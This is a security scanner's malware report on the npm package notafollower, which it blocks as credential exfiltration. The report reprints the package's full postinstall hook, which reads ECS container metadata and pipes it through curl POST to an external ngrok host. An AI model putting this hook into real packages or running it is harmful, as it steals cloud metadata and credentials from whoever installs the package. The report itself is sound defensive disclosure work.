registry / Credential exfiltration / notafollower
notafollower
This report shows the evidence for notafollower@1.0.11. 4 of 4 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe sole package behavior is an unconsented postinstall metadata fetch followed by external transmission. This is a concrete credential/data-exfiltration chain, not a benign package feature.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm package installation, via postinstall.
Impact
Can expose container/task metadata and potentially cloud credentials or service configuration.
Mechanism
Fetches ECS metadata and pipes it to curl POST.
Attack narrative
On installation, the postinstall command reads the ECS metadata URL supplied by ECS_CONTAINER_METADATA_URI_V4, prints the HTTP status and response body, then pipes that output to curl. Curl POSTs the data to an attacker-controlled ngrok host, creating an automatic cloud-environment metadata exfiltration path.
AI rationale
The sole package behavior is an unconsented postinstall metadata fetch followed by external transmission. This is a concrete credential/data-exfiltration chain, not a benign package feature.
Evidence
package.json
Network endpoints1
mourner-slot-explicit.ngrok-free.dev
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host.
- The hook runs automatically during npm installation and POSTs the collected response as request data.
Evidence against
- The package contains only package.json; no legitimate package functionality is present.
Behavioral surface
NoLicense
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"
High
Suspicious Lifecycle Evidence
package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host.
package.jsonView on unpkg · L5Findings
1 Critical2 High2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
LowScripts Present
LowNo License
Affected versions and remediation
This report applies to notafollower@1.0.11.
The versions list below shows the verdict for each recorded version.
- Avoid installing notafollower@1.0.11. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
4 known versions1.0.11latestshownMaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 8:49 PM1.0.9MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 8:38 PM1.0.7MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 8:28 PM1.0.5MaliciousCredential ExfiltrationBlockPublishedAug 13, 2026, 8:06 PM